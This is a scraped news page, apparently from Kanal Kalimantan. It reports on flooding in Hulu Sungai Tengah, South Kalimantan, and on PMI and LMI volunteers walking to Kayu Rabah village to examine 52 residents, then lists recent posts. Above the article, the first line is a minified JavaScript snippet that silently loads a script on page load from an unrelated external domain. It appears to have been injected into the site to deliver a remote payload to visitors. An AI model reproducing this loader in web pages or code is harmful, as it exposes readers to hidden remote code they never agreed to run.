(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Tengah

Kesehatan Korban Banjir Terganggu, Tim Relawan Masuk ke Desa Kayu Rabah


KANALKALIMANTAN.COM, BARABAI – Banjir masih menggenangi beberapa kecamatan di Kabupaten Hulu Sungai Tengah (HST). Ribuan warga harus mengungsi di beberapa tempat pengungsian dan ada yang masih terisolir, bahkan terganggu kesehatannya.

Seperti yang dirasakan warga Panggang Ramba desa Kayu Rabah, Kecamatan Pandawan, Kabupaten HST, sejumlah warga mengalami berbagai gangguan kesehatan.

Kondisi itu didapati tim relawan dari Palang Merah Indonesia (PMI) Banjarbaru bersama LMI Kalimantan Selatan ketika melakukan layanan kesehatan ke titik tersebut, Rabu (1/12/2021).

Staf Penanggulangan Bencana PMI Banjarbaru, Aiman mengatakan di Panggang Ramba Desa Kayu Rabah tim mendatangi dua titik tempat pemeriksaan yakni RT 01 dan RT 02.

 

Baca juga : Bincang Sastra Bersama Kurnia Effendi, Puisi Jadi Doa di Kala Pandemi

“Kami melakukan cek kesehatan ke lokasi harus berjalan kurang 3 kilometer, karena akses jalan masih tertutup banjir saat menuju lokasi,” ungkapnya.

Diterangkan Aiman, jalan menuju ke lokasi walau bisa ditempuh dengan roda empat tapi tak bisa dilintasi karena masih tergenang air. Kondisi ini mengharuskan tim relawan menempuh jarak kurang lebih 3 kilometer dengan berjalan kaki.

“Ada 52 warga yang berobat hari ini, ada penyakit berkelanjutan maka kami arahkan ke Puskesmas setempat,” katanya.

Dikatakan Aiman, hari ini PMI Kota Banjarbaru menerjunkan 1 orang staf markas dan 8 orang relawan. Sedangkan LMI Kalsel menerjunkan 2 relawan.

 

Baca juga : Dipaksa Banjir, Pedagang Pasar Agrobisnis Barabai Gelar Lapak di Jalan Raya

Syahrani warga Panggang Ramba mengaku baru dari relawan PMI yang memeriksa kondisi kesehatan mereka selama banjir menggenangi kampungnya.

“Terima kasih kepada PMI yang sudah menyempatkan melakukan pemeriksaan kepada kami dan sudah memberikan salep lancatnya,” ucapnya.

Syahrani sempat menyampaikan sebagian warga harus menerima kenyataan akibat dampak banjir ancaman gagal panen padi pada tahun ini.

“Tanaman padi kami bisa gagal panen tahun ini, karena tergenang banjir ini,” akunya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

15 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

18 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

20 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

23 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

1 hari ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

1 hari ago